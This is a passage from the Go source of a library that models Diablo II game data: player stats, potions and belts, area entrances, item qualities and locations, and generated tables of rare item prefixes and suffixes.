| RiverOfFlame: {4, 3, []ID{CityOfTheDamned}}, 39 | // Act 5 40 | Harrogath: {5, 1, nil}, 41 | FrigidHighlands: {5, 2, []ID{Harrogath, BloodyFoothills}}, 42 | ArreatPlateau: {5, 3, []ID{FrigidHighlands}}, 43 | CrystallinePassage: {5, 4, []ID{ArreatPlateau}}, 44 | GlacialTrail: {5, 5, []ID{CrystallinePassage}}, 45 | HallsOfPain: {5, 6, []ID{Harrogath, NihlathaksTemple, HallsOfAnguish}}, 46 | FrozenTundra: {5, 7, []ID{GlacialTrail}}, 47 | TheAncientsWay: {5, 8, []ID{FrozenTundra}}, 48 | TheWorldStoneKeepLevel2: {5, 9, []ID{TheAncientsWay, ArreatSummit, TheWorldStoneKeepLevel1}}, 49 | } 50 | 51 | type WPAddress struct { 52 | Tab int 53 | Row int 54 | LinkedFrom []ID 55 | } 56 | -------------------------------------------------------------------------------- /pkg/data/belt.go: -------------------------------------------------------------------------------- 1 | package data 2 | 3 | import ( 4 | "strings" 5 | 6 | "github.com/notedhouse/d2go/pkg/data/item" 7 | ) 8 | 9 | const ( 10 | HealingPotion PotionType = "HealingPotion" 11 | ManaPotion PotionType = "ManaPotion" 12 | RejuvenationPotion PotionType = "RejuvenationPotion" 13 | ) 14 | 15 | type Belt struct { 16 | Items []Item 17 | Name item.Name 18 | } 19 | 20 | func (b Belt) GetFirstPotion(potionType PotionType) (Position, bool) { 21 | for _, i := range b.Items { 22 | // Ensure potion is in row 0 and one of the four columns 23 | if strings.Contains(string(i.Name), string(potionType)) && i.Position.Y == 0 && (i.Position.X == 0 || i.Position.X == 1 || i.Position.X == 2 || i.Position.X == 3) { 24 | return i.Position, true 25 | } 26 | } 27 | 28 | return Position{}, false 29 | } 30 | 31 | func (b Belt) Rows() int { 32 | switch b.Name { 33 | case "": 34 | return 1 35 | case "Sash", "LightBelt": 36 | return 2 37 | case "Belt", "HeavyBelt": 38 | return 3 39 | default: 40 | return 4 41 | } 42 | } 43 | 44 | type PotionType string 45 | -------------------------------------------------------------------------------- /pkg/data/data.go: -------------------------------------------------------------------------------- 1 | package data 2 | 3 | import ( 4 | "math" 5 | "strings" 6 | 7 | "github.com/notedhouse/d2go/pkg/data/mode" 8 | 9 | "github.com/notedhouse/d2go/pkg/data/quest" 10 | 11 | "github.com/notedhouse/d2go/pkg/data/area" 12 | "github.com/notedhouse/d2go/pkg/data/skill" 13 | "github.com/notedhouse/d2go/pkg/data/stat" 14 | "github.com/notedhouse/d2go/pkg/data/state" 15 | ) 16 | 17 | const ( 18 | goldPerLevel = 10000 19 | 20 | // Monster Types 21 | MonsterTypeNone MonsterType = "None" 22 | MonsterTypeChampion MonsterType = "Champion" 23 | MonsterTypeMinion MonsterType = "Minion" 24 | MonsterTypeUnique MonsterType = "Unique" 25 | MonsterTypeSuperUnique MonsterType = "SuperUnique" 26 | ) 27 | 28 | type Data struct { 29 | AreaOrigin Position 30 | Corpse Corpse 31 | Monsters Monsters 32 | Corpses Monsters 33 | Game OnlineGame 34 | PlayerUnit PlayerUnit 35 | NPCs NPCs 36 | Inventory Inventory 37 | Objects Objects 38 | Entrances Entrances 39 | AdjacentLevels []Level 40 | Rooms []Room 41 | OpenMenus OpenMenus 42 | Roster Roster 43 | HoverData HoverData 44 | TerrorZones []area.ID 45 | Quests quest.Quests 46 | KeyBindings KeyBindings 47 | LegacyGraphics bool 48 | IsIngame bool 49 | HasMerc bool 50 | ActiveWeaponSlot int 51 | } 52 | 53 | type Room struct { 54 | Position 55 | Width int 56 | Height int 57 | } 58 | 59 | type HoverData struct { 60 | IsHovered bool 61 | UnitID 62 | UnitType int 63 | } 64 | 65 | type OnlineGame struct { 66 | LastGameName string 67 | LastGamePassword string 68 | FPS int 69 | } 70 | 71 | type Panel struct { 72 | PanelPtr uintptr 73 | PanelName string 74 | PanelEnabled bool 75 | PanelVisible bool 76 | PtrChild uintptr 77 | NumChildren int 78 | ExtraText string 79 | ExtraText2 string 80 | ExtraText3 string 81 | PanelParent string 82 | PanelChildren map[string]Panel 83 | Depth int 84 | } 85 | 86 | func (r Room) GetCenter() Position { 87 | return Position{ 88 | X: r.Position.X + r.Width/2, 89 | Y: r.Position.Y + r.Height/2, 90 | } 91 | } 92 | 93 | func (r Room) IsInside(p Position) bool { 94 | if p.X >= r.X && p.X <= r.X+r.Width { 95 | return p.Y >= r.Y && p.Y <= r.Y+r.Height 96 | } 97 | 98 | return false 99 | } 100 | 101 | func (d Data) MercHPPercent() int { 102 | for _, m := range d.Monsters { 103 | if m.IsMerc() { 104 | // Hacky thing to read merc life properly 105 | maxLife := m.Stats[stat.MaxLife] >> 8 106 | life := float64(m.Stats[stat.Life] >> 8) 107 | if m.Stats[stat.Life] <= 32768 { 108 | life = float64(m.Stats[stat.Life]) / 32768.0 * float64(maxLife) 109 | } 110 | 111 | return int(life / float64(maxLife) * 100) 112 | } 113 | } 114 | 115 | return 0 116 | } 117 | 118 | type RosterMember struct { 119 | Name string 120 | Area area.ID 121 | Position Position 122 | } 123 | type Roster []RosterMember 124 | 125 | func (r Roster) FindByName(name string) (RosterMember, bool) { 126 | for _, rm := range r { 127 | if strings.EqualFold(rm.Name, name) { 128 | return rm, true 129 | } 130 | } 131 | 132 | return RosterMember{}, false 133 | } 134 | 135 | type Level struct { 136 | Area area.ID 137 | Position Position 138 | IsEntrance bool // This means the area can not be accessed just walking through it, needs to be clicked 139 | } 140 | 141 | type Class uint 142 | 143 | const ( 144 | Amazon Class = iota 145 | Sorceress 146 | Necromancer 147 | Paladin 148 | Barbarian 149 | Druid 150 | Assassin 151 | ) 152 | 153 | type Corpse struct { 154 | Found bool 155 | IsHovered bool 156 | Position Position 157 | States state.States 158 | } 159 | 160 | type Position struct { 161 | X int 162 | Y int 163 | } 164 | 165 | type PlayerUnit struct { 166 | Address uintptr 167 | Name string 168 | ID UnitID 169 | Area area.ID 170 | Position Position 171 | Stats stat.Stats 172 | BaseStats stat.Stats 173 | Skills map[skill.ID]skill.Points 174 | States state.States 175 | Class Class 176 | LeftSkill skill.ID 177 | RightSkill skill.ID 178 | AvailableWaypoints []area.ID // Is only filled when WP menu is open and only for the specific selected tab 179 | Mode mode.PlayerMode 180 | } 181 | 182 | func (pu PlayerUnit) FindStat(id stat.ID, layer int) (stat.Data, bool) { 183 | st, found := pu.Stats.FindStat(id, layer) 184 | if found { 185 | return st, true 186 | } 187 | 188 | return pu.BaseStats.FindStat(id, layer) 189 | } 190 | 191 | func (pu PlayerUnit) MaxGold() int { 192 | lvl, _ := pu.FindStat(stat.Level, 0) 193 | return goldPerLevel * lvl.Value 194 | } 195 | 196 | // TotalPlayerGold returns the amount of gold, including inventory and player stash (excluding shared stash) 197 | func (pu PlayerUnit) TotalPlayerGold() int { 198 | gold, _ := pu.FindStat(stat.Gold, 0) 199 | stashGold, _ := pu.FindStat(stat.StashGold, 0) 200 | 201 | return gold.Value + stashGold.Value 202 | } 203 | 204 | func (pu PlayerUnit) HPPercent() int { 205 | life, _ := pu.FindStat(stat.Life, 0) 206 | maxLife, _ := pu.FindStat(stat.MaxLife, 0) 207 | 208 | return int((float64(life.Value) / float64(maxLife.Value)) * 100) 209 | } 210 | 211 | func (pu PlayerUnit) MPPercent() int { 212 | mana, _ := pu.FindStat(stat.Mana, 0) 213 | maxMana, _ := pu.FindStat(stat.MaxMana, 0) 214 | 215 | return int((float64(mana.Value) / float64(maxMana.Value)) * 100) 216 | } 217 | 218 | func (pu PlayerUnit) CastingFrames() int { 219 | // Formula detailed here: https://diablo.fandom.com/wiki/Faster_Cast_Rate 220 | fcr, _ := pu.FindStat(stat.FasterCastRate, 0) 221 | baseAnimation := pu.getCastingBaseSpeed() 222 | 223 | ecfr := math.Floor(float64(fcr.Value*120) / float64(fcr.Value+120)) 224 | if ecfr > 75 { 225 | ecfr = 75 226 | } 227 | 228 | // Animation speed for druids is different 229 | cf := math.Ceil(256*baseAnimation/math.Floor(float64(256*(100+ecfr))/100.0)) - 1 230 | 231 | return int(cf) 232 | } 233 | 234 | func (pu PlayerUnit) getCastingBaseSpeed() float64 { 235 | // TODO: Implement logic for Lightning? 236 | switch pu.Class { 237 | case Amazon: 238 | return 20 239 | case Assassin: 240 | return 17 241 | case Barbarian: 242 | return 14 243 | case Necromancer, Paladin: 244 | return 16 245 | case Druid: 246 | return 15 247 | case Sorceress: 248 | return 14 249 | } 250 | 251 | return 16 252 | } 253 | 254 | func (pu PlayerUnit) HasDebuff() bool { 255 | debuffs := []state.State{ 256 | state.Amplifydamage, 257 | state.Attract, 258 | state.Confuse, 259 | state.Conversion, 260 | state.Decrepify, 261 | state.Dimvision, 262 | state.Ironmaiden, 263 | state.Lifetap, 264 | state.Lowerresist, 265 | state.Terror, 266 | state.Weaken, 267 | state.Convicted, 268 | state.Poison, 269 | state.Cold, 270 | state.Slowed, 271 | state.BloodMana, 272 | state.DefenseCurse, 273 | } 274 | 275 | for _, s := range pu.States { 276 | for _, d := range debuffs { 277 | if s == d { 278 | return true 279 | } 280 | } 281 | } 282 | 283 | return false 284 | } 285 | 286 | type PointOfInterest struct { 287 | Name string 288 | Position Position 289 | } 290 | 291 | type OpenMenus struct { 292 | Inventory bool 293 | LoadingScreen bool 294 | NPCInteract bool 295 | NPCShop bool 296 | Stash bool 297 | Waypoint bool 298 | MapShown bool 299 | NewSkills bool 300 | NewStats bool 301 | SkillTree bool 302 | Character bool 303 | QuitMenu bool 304 | Cube bool 305 | SkillSelect bool 306 | Anvil bool 307 | MercInventory bool 308 | BeltRows bool 309 | QuestLog bool 310 | PortraitsShown bool 311 | ChatOpen bool 312 | } 313 | 314 | func (om OpenMenus) IsMenuOpen() bool { 315 | return om.Inventory || om.NPCInteract || om.NPCShop || om.Stash || om.Waypoint || om.SkillTree || om.Character || om.QuitMenu || om.Cube || om.SkillSelect || om.Anvil || om.ChatOpen || om.QuestLog || om.BeltRows || om.MercInventory 316 | } 317 | func (c Corpse) StateNotInteractable() bool { 318 | CorpseStates := []state.State{ 319 | state.CorpseNoselect, 320 | state.CorpseNodraw, 321 | state.Revive, 322 | state.Redeemed, 323 | state.Shatter, 324 | state.Freeze, 325 | } 326 | 327 | for _, s := range c.States { 328 | for _, d := range CorpseStates { 329 | if s == d { 330 | return true 331 | } 332 | } 333 | } 334 | 335 | return false 336 | } 337 | -------------------------------------------------------------------------------- /pkg/data/difficulty/difficulty.go: -------------------------------------------------------------------------------- 1 | package difficulty 2 | 3 | const ( 4 | Normal = "normal" 5 | Nightmare = "nightmare" 6 | Hell = "hell" 7 | ) 8 | 9 | type Difficulty string 10 | -------------------------------------------------------------------------------- /pkg/data/entrance/description.go: -------------------------------------------------------------------------------- 1 | package entrance 2 | 3 | type Description struct { 4 | ID int 5 | Name string 6 | SelectX int 7 | SelectY int 8 | SelectDX int 9 | SelectDY int 10 | OffsetX int 11 | OffsetY int 12 | Direction string 13 | } 14 | -------------------------------------------------------------------------------- /pkg/data/entrance/name.go: -------------------------------------------------------------------------------- 1 | package entrance 2 | 3 | type Name int 4 | 5 | const ( 6 | A1WildernessToCliffL Name = iota 7 | A1WildernessToCliffR 8 | A1WildernessToFloorL 9 | A1WildernessToFloorR 10 | A1CaveUp 11 | A1CaveDown 12 | A1GraveyardToCrypt1 13 | A1GraveyardToCrypt2 14 | A1CryptUp 15 | A1CryptDown 16 | A1WildernessToTower 17 | A1TowertoWilderness 18 | A1TowertoCrypt 19 | A1JailUp 20 | A1JailDown 21 | A1CathedralToCatacombs 22 | A1CatacombstoCathedral 23 | A1CatacombsUp 24 | A1CatacombsDown 25 | A2TowntoSewerTrap 26 | A2TowntoSewerDock 27 | A2SewerDocktoTown 28 | A2SewerUp 29 | A2SewerDown 30 | A2TowntoHarem 31 | A2HaremtoTown 32 | A2HaremUp1 33 | A2HaremUp2 34 | A2HaremDown1 35 | A2HaremDown2 36 | A2BasementUp1 37 | A2BasementUp2 38 | A2BasementDown 39 | A2DeserttoTombL1 40 | A2DeserttoTombL2 41 | A2DeserttoTombR1 42 | A2DeserttoTombR2 43 | A2DeserttoTombViper 44 | A2DeserttoTombTal1 45 | A2DeserttoTombTal2 46 | A2DeserttoTombTal3 47 | A2DeserttoTombTal4 48 | A2DeserttoTombTal5 49 | A2DeserttoTombTal6 50 | A2DeserttoTombTal7 51 | A2TombUp 52 | A2TombDown 53 | A2DeserttoLair 54 | A2LairUp 55 | A2LairDown 56 | A2DeserttoSewerTrap 57 | A3JungletoSpider 58 | A3SpidertoJungle 59 | A3JungletoDungeonFort 60 | A3JungletoDungeonHole 61 | A3DungeonUp 62 | A3DungeonDown 63 | A3KurasttoSewer 64 | A3SewerUpL 65 | A3SewerUpR 66 | A3SewerDown 67 | A3KurasttoTemple 68 | A3TempleUpL 69 | A3TempleUpR 70 | A3TravincaltoMephisto 71 | A3MephistoUpL 72 | A3MephistoUpR 73 | A3MephistoDownL 74 | A3MephistoDownR 75 | A4MesatoLava 76 | A4LavatoMesa 77 | A5BarricadeDownWallL 78 | A5BarricadeDownWallR 79 | A5BarricadeDownFloor 80 | A5IceCavesUpL 81 | A5IceCavesUpR 82 | A5IceCavesDownL 83 | A5IceCavesDownR 84 | A5iceCavesDownFloor 85 | A5TempleEntrance 86 | A5TempleDown 87 | A5TempleUp 88 | A5MountainTopToIce 89 | A5MountainTopToBaal 90 | A5BaalTempleUpL 91 | A5BaalTempleUpR 92 | A5BaalTempleDownL 93 | A5BaalTempleDownR 94 | ) 95 | -------------------------------------------------------------------------------- /pkg/data/entrances.go: -------------------------------------------------------------------------------- 1 | package data 2 | 3 | import ( 4 | "github.com/notedhouse/d2go/pkg/data/entrance" 5 | ) 6 | 7 | type Entrance struct { 8 | ID UnitID 9 | entrance.Name 10 | IsHovered bool 11 | Selectable bool 12 | Position Position 13 | } 14 | 15 | type Entrances []Entrance 16 | 17 | func (e Entrances) FindOne(name entrance.Name) (Entrance, bool) { 18 | for _, ent := range e { 19 | if ent.Name == name { 20 | return ent, true 21 | } 22 | } 23 | return Entrance{}, false 24 | } 25 | 26 | func (e Entrances) FindByID(id UnitID) (Entrance, bool) { 27 | for _, ent := range e { 28 | if ent.ID == id { 29 | return ent, true 30 | } 31 | } 32 | return Entrance{}, false 33 | } 34 | -------------------------------------------------------------------------------- /pkg/data/item/item.go: -------------------------------------------------------------------------------- 1 | package item 2 | 3 | type Description struct { 4 | ID int 5 | Name string 6 | Code string 7 | NormalCode string // Normal 8 | UberCode string // Exceptional 9 | UltraCode string // Elite 10 | InventoryWidth int 11 | InventoryHeight int 12 | MinDefense int 13 | MaxDefense int 14 | MinDamage int 15 | MaxDamage int 16 | TwoHandMinDamage int 17 | TwoHandMaxDamage int 18 | MinMissileDamage int 19 | MaxMissileDamage int 20 | Speed int // for weapons speed is the attack speed modifier,for armor its the movement penalty 21 | StrengthBonus int 22 | DexterityBonus int 23 | RequiredStrength int 24 | RequiredDexterity int 25 | Durability int 26 | RequiredLevel int 27 | MaxSockets int 28 | Type string 29 | } 30 | 31 | func (d Description) Tier() Tier { 32 | if d.Code == d.UltraCode { 33 | return TierElite 34 | } 35 | 36 | if d.Code == d.UberCode { 37 | return TierExceptional 38 | } 39 | 40 | return TierNormal 41 | } 42 | 43 | func (d Description) GetType() Type { 44 | return ItemTypes[d.Type] 45 | } 46 | -------------------------------------------------------------------------------- /pkg/data/item/location.go: -------------------------------------------------------------------------------- 1 | package item 2 | 3 | type LocationType string 4 | 5 | type Location struct { 6 | LocationType 7 | BodyLocation LocationType 8 | Page int 9 | } 10 | 11 | const ( 12 | // Storage locations 13 | LocationUnknown LocationType = "unknown" 14 | LocationInventory LocationType = "inventory" 15 | LocationStash LocationType = "stash" 16 | LocationSharedStash LocationType = "shared_stash" 17 | LocationBelt LocationType = "belt" 18 | LocationCube LocationType = "cube" 19 | LocationVendor LocationType = "vendor" 20 | LocationGround LocationType = "ground" 21 | LocationSocket LocationType = "socket" 22 | LocationCursor LocationType = "cursor" 23 | LocationEquipped LocationType = "equipped" 24 | LocationMercenary LocationType = "mercenary" 25 | 26 | // Body locations 27 | LocNone LocationType = "none" 28 | LocHead LocationType = "head" 29 | LocNeck LocationType = "neck" 30 | LocTorso LocationType = "torso" 31 | LocLeftArm LocationType = "left_arm" 32 | LocRightArm LocationType = "right_arm" 33 | LocLeftRing LocationType = "left_ring" 34 | LocRightRing LocationType = "right_ring" 35 | LocBelt LocationType = "belt" 36 | LocFeet LocationType = "feet" 37 | LocGloves LocationType = "gloves" 38 | LocLeftArmSecondary LocationType = "left_arm_secondary" 39 | LocRightArmSecondary LocationType = "right_arm_secondary" 40 | ) 41 | -------------------------------------------------------------------------------- /pkg/data/item/quality.go: -------------------------------------------------------------------------------- 1 | package item 2 | 3 | type Quality int 4 | 5 | const ( 6 | QualityLowQuality Quality = 0x01 7 | QualityNormal Quality = 0x02 8 | QualitySuperior Quality = 0x03 9 | QualityMagic Quality = 0x04 10 | QualitySet Quality = 0x05 11 | QualityRare Quality = 0x06 12 | QualityUnique Quality = 0x07 13 | QualityCrafted Quality = 0x08 14 | ) 15 | 16 | func (q Quality) ToString() string { 17 | switch q { 18 | case QualityLowQuality: 19 | return "LowQuality" 20 | case QualityNormal: 21 | return "Normal" 22 | case QualitySuperior: 23 | return "Superior" 24 | case QualityMagic: 25 | return "Magic" 26 | case QualitySet: 27 | return "Set" 28 | case QualityRare: 29 | return "Rare" 30 | case QualityUnique: 31 | return "Unique" 32 | case QualityCrafted: 33 | return "Crafted" 34 | } 35 | 36 | return "UnknownItemQuality" 37 | } 38 | -------------------------------------------------------------------------------- /pkg/data/item/rareprefixes.go: -------------------------------------------------------------------------------- 1 | // Code generated by cmd/txttocode. DO NOT EDIT. 2 | // source: cmd/txttocode/txt/rareprefix.txt 3 | package item 4 | 5 | type RarePrefix struct { 6 | ID int 7 | Name string 8 | ItemTypes []string 9 | ExcludeTypes []string 10 | } 11 | 12 | var RarePrefixDesc = map[int]RarePrefix{ 13 | 156: {ID: 156, Name: "Beast", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 14 | 157: {ID: 157, Name: "Eagle", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 15 | 158: {ID: 158, Name: "Raven", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 16 | 159: {ID: 159, Name: "Viper", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 17 | 160: {ID: 160, Name: "Ghoul", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 18 | 161: {ID: 161, Name: "Skull", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 19 | 162: {ID: 162, Name: "Blood", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 20 | 163: {ID: 163, Name: "Dread", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 21 | 164: {ID: 164, Name: "Doom", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 22 | 165: {ID: 165, Name: "Grim", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 23 | 166: {ID: 166, Name: "Bone", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 24 | 167: {ID: 167, Name: "Death", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 25 | 168: {ID: 168, Name: "Shadow", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 26 | 169: {ID: 169, Name: "Storm", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 27 | 170: {ID: 170, Name: "Rune", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 28 | 171: {ID: 171, Name: "Plague", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 29 | 172: {ID: 172, Name: "Stone", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 30 | 173: {ID: 173, Name: "Wraith", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 31 | 174: {ID: 174, Name: "Spirit", ItemTypes: []string{"armo", "rod"}, ExcludeTypes: []string{}}, 32 | 175: {ID: 175, Name: "Storm", ItemTypes: []string{"armo", "weap"}, ExcludeTypes: []string{}}, 33 | 176: {ID: 176, Name: "Demon", ItemTypes: []string{"armo", "weap"}, ExcludeTypes: []string{}}, 34 | 177: {ID: 177, Name: "Cruel", ItemTypes: []string{"armo", "weap"}, ExcludeTypes: []string{}}, 35 | 178: {ID: 178, Name: "Empyrion", ItemTypes: []string{"rod"}, ExcludeTypes: []string{}}, 36 | 179: {ID: 179, Name: "Bramble", ItemTypes: []string{"armo", "weap"}, ExcludeTypes: []string{}}, 37 | 180: {ID: 180, Name: "Pain", ItemTypes: []string{"armo", "weap"}, ExcludeTypes: []string{}}, 38 | 181: {ID: 181, Name: "Loath", ItemTypes: []string{"armo", "weap"}, ExcludeTypes: []string{}}, 39 | 182: {ID: 182, Name: "Glyph", ItemTypes: []string{"armo", "weap"}, ExcludeTypes: []string{}}, 40 | 183: {ID: 183, Name: "Imp", ItemTypes: []string{"armo", "weap"}, ExcludeTypes: []string{}}, 41 | 184: {ID: 184, Name: "Fiend", ItemTypes: []string{"armo", "weap"}, ExcludeTypes: []string{}}, 42 | 185: {ID: 185, Name: "Hailstone", ItemTypes: []string{"armo", "weap"}, ExcludeTypes: []string{}}, 43 | 186: {ID: 186, Name: "Gale", ItemTypes: []string{"armo", "weap"}, ExcludeTypes: []string{}}, 44 | 187: {ID: 187, Name: "Dire", ItemTypes: []string{"armo", "weap"}, ExcludeTypes: []string{}}, 45 | 188: {ID: 188, Name: "Soul", ItemTypes: []string{"armo", "weap"}, ExcludeTypes: []string{}}, 46 | 189: {ID: 189, Name: "Brimstone", ItemTypes: []string{"armo", "weap"}, ExcludeTypes: []string{}}, 47 | 190: {ID: 190, Name: "Corpse", ItemTypes: []string{"armo", "weap"}, ExcludeTypes: []string{}}, 48 | 191: {ID: 191, Name: "Carrion", ItemTypes: []string{"armo", "weap"}, ExcludeTypes: []string{}}, 49 | 192: {ID: 192, Name: "Holocaust", ItemTypes: []string{"tors", "helm", "shld", "swor", "axe"}, ExcludeTypes: []string{}}, 50 | 193: {ID: 193, Name: "Havoc", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 51 | 194: {ID: 194, Name: "Bitter", ItemTypes: []string{"armo", "weap", "misc"}, ExcludeTypes: []string{}}, 52 | 195: {ID: 195, Name: "Entropy", ItemTypes: []string{"ring", "amul"}, ExcludeTypes: []string{}}, 53 | 196: {ID: 196, Name: "Chaos", ItemTypes: []string{"ring", "amul"}, ExcludeTypes: []string{}}, 54 | 197: {ID: 197, Name: "Order", ItemTypes: []string{"ring", "amul", "scep"}, ExcludeTypes: []string{}}, 55 | 198: {ID: 198, Name: "Rule", ItemTypes: []string{"rod"}, ExcludeTypes: []string{}}, 56 | 199: {ID: 199, Name: "Warp", ItemTypes: []string{}, ExcludeTypes: []string{}}, 57 | 200: {ID: 200, Name: "Rift", ItemTypes: []string{}, ExcludeTypes: []string{}}, 58 | 201: {ID: 201, Name: "Corruption", ItemTypes: []string{"ring", "amul"}, ExcludeTypes: []string{}}, 59 | } 60 | -------------------------------------------------------------------------------- /pkg/data/item/raresuffixes.go: -------------------------------------------------------------------------------- 1 | // Code generated by cmd/txttocode. DO NOT EDIT. 2 | // source: cmd/txttocode/txt/raresuffix.txt 3 | package item 4 | 5 | type RareSuffix struct { 6 | ID int 7 | Name string 8 | ItemTypes []string 9 | } 10 | 11 | var RareSuffixDesc = map[int]RareSuffix{ 12 | 1: {ID: 1, Name: "Bite", ItemTypes: []string{"swor", "knif", "spea", "pole", "axe", "h2h"}}, 13 | 2: {ID: 2, Name: "Scratch", ItemTypes: []string{"swor", "knif", "spea", "pole", "h2h"}}, 14 | 3: {ID: 3, Name: "Scalpel", ItemTypes: []string{"swor", "knif"}}, 15 | 4: {ID: 4, Name: "Fang", ItemTypes: []string{"swor", "knif", "spea", "pole"}}, 16 | 5: {ID: 5, Name: "Gutter", ItemTypes: []string{"swor", "knif", "spea", "pole"}}, 17 | 6: {ID: 6, Name: "Thirst", ItemTypes: []string{"swor", "knif", "spea", "pole", "axe", "h2h"}}, 18 | 7: {ID: 7, Name: "Razor", ItemTypes: []string{"swor", "knif", "axe", "h2h"}}, 19 | 8: {ID: 8, Name: "Scythe", ItemTypes: []string{"swor", "axe", "pole"}}, 20 | 9: {ID: 9, Name: "Edge", ItemTypes: []string{"swor", "knif", "axe"}}, 21 | 10: {ID: 10, Name: "Saw", ItemTypes: []string{"swor"}}, 22 | 11: {ID: 11, Name: "Splitter", ItemTypes: []string{"axe", "mace", "club", "hamm"}}, 23 | 12: {ID: 12, Name: "Cleaver", ItemTypes: []string{"swor", "axe"}}, 24 | 13: {ID: 13, Name: "Sever", ItemTypes: []string{"swor", "axe"}}, 25 | 14: {ID: 14, Name: "Sunder", ItemTypes: []string{"axe"}}, 26 | 15: {ID: 15, Name: "Rend", ItemTypes: []string{"axe"}}, 27 | 16: {ID: 16, Name: "Mangler", ItemTypes: []string{"axe", "mace", "club", "hamm"}}, 28 | 17: {ID: 17, Name: "Slayer", ItemTypes: []string{"axe"}}, 29 | 18: {ID: 18, Name: "Reaver", ItemTypes: []string{"axe"}}, 30 | 19: {ID: 19, Name: "Spawn", ItemTypes: []string{"axe", "hamm"}}, 31 | 20: {ID: 20, Name: "Gnash", ItemTypes: []string{"axe", "club", "hamm"}}, 32 | 21: {ID: 21, Name: "Star", ItemTypes: []string{"mace", "hamm", "scep", "wand"}}, 33 | 22: {ID: 22, Name: "Blow", ItemTypes: []string{"mace", "club", "hamm", "scep"}}, 34 | 23: {ID: 23, Name: "Smasher", ItemTypes: []string{"mace", "club", "hamm", "scep"}}, 35 | 24: {ID: 24, Name: "Bane", ItemTypes: []string{"mace", "scep", "wand"}}, 36 | 25: {ID: 25, Name: "Crusher", ItemTypes: []string{"mace", "club", "hamm", "scep"}}, 37 | 26: {ID: 26, Name: "Breaker", ItemTypes: []string{"mace", "club", "hamm", "scep"}}, 38 | 27: {ID: 27, Name: "Grinder", ItemTypes: []string{"mace", "club", "hamm", "scep"}}, 39 | 28: {ID: 28, Name: "Crack", ItemTypes: []string{"mace", "club", "hamm", "scep", "wand"}}, 40 | 29: {ID: 29, Name: "Mallet", ItemTypes: []string{"hamm", "club"}}, 41 | 30: {ID: 30, Name: "Knell", ItemTypes: []string{"mace", "club", "scep", "wand"}}, 42 | 31: {ID: 31, Name: "Lance", ItemTypes: []string{"spea", "pole"}}, 43 | 32: {ID: 32, Name: "Spike", ItemTypes: []string{"swor", "knif", "spea", "pole"}}, 44 | 33: {ID: 33, Name: "Impaler", ItemTypes: []string{"swor", "knif", "spea", "pole"}}, 45 | 34: {ID: 34, Name: "Skewer", ItemTypes: []string{"swor", "knif", "spea"}}, 46 | 35: {ID: 35, Name: "Prod", ItemTypes: []string{"spea", "pole"}}, 47 | 36: {ID: 36, Name: "Scourge", ItemTypes: []string{"spea", "pole"}}, 48 | 37: {ID: 37, Name: "Wand", ItemTypes: []string{"wand"}}, 49 | 38: {ID: 38, Name: "Wrack", ItemTypes: []string{"spea", "pole"}}, 50 | 39: {ID: 39, Name: "Barb", ItemTypes: []string{"swor", "knif", "axe", "spea", "pole", "h2h"}}, 51 | 40: {ID: 40, Name: "Needle", ItemTypes: []string{"swor", "knif", "spea", "miss"}}, 52 | 41: {ID: 41, Name: "Dart", ItemTypes: []string{"spea", "miss"}}, 53 | 42: {ID: 42, Name: "Bolt", ItemTypes: []string{"miss", "jave"}}, 54 | 43: {ID: 43, Name: "Quarrel", ItemTypes: []string{"miss"}}, 55 | 44: {ID: 44, Name: "Fletch", ItemTypes: []string{"miss"}}, 56 | 45: {ID: 45, Name: "Flight", ItemTypes: []string{"miss", "jave"}}, 57 | 46: {ID: 46, Name: "Nock", ItemTypes: []string{"miss"}}, 58 | 47: {ID: 47, Name: "Horn", ItemTypes: []string{"helm", "miss", "knif"}}, 59 | 48: {ID: 48, Name: "Stinger", ItemTypes: []string{"swor", "knif", "spea", "miss"}}, 60 | 49: {ID: 49, Name: "Quill", ItemTypes: []string{"knif", "miss"}}, 61 | 50: {ID: 50, Name: "Goad", ItemTypes: []string{"spea", "pole", "staf"}}, 62 | 51: {ID: 51, Name: "Branch", ItemTypes: []string{"spea", "staf", "bow"}}, 63 | 52: {ID: 52, Name: "Spire", ItemTypes: []string{"staf"}}, 64 | 53: {ID: 53, Name: "Song", ItemTypes: []string{"weap"}}, 65 | 54: {ID: 54, Name: "Call", ItemTypes: []string{"rod"}}, 66 | 55: {ID: 55, Name: "Cry", ItemTypes: []string{"rod"}}, 67 | 56: {ID: 56, Name: "Spell", ItemTypes: []string{"rod"}}, 68 | 57: {ID: 57, Name: "Chant", ItemTypes: []string{"rod"}}, 69 | 58: {ID: 58, Name: "Weaver", ItemTypes: []string{"rod"}}, 70 | 59: {ID: 59, Name: "Gnarl", ItemTypes: []string{"club", "wand", "staf"}}, 71 | 60: {ID: 60, Name: "Visage", ItemTypes: []string{"helm"}}, 72 | 61: {ID: 61, Name: "Crest", ItemTypes: []string{"helm"}}, 73 | 62: {ID: 62, Name: "Circlet", ItemTypes: []string{"helm"}}, 74 | 63: {ID: 63, Name: "Veil", ItemTypes: []string{"helm"}}, 75 | 64: {ID: 64, Name: "Hood", ItemTypes: []string{"helm"}}, 76 | 65: {ID: 65, Name: "Mask", ItemTypes: []string{"helm"}}, 77 | 66: {ID: 66, Name: "Brow", ItemTypes: []string{"helm"}}, 78 | 67: {ID: 67, Name: 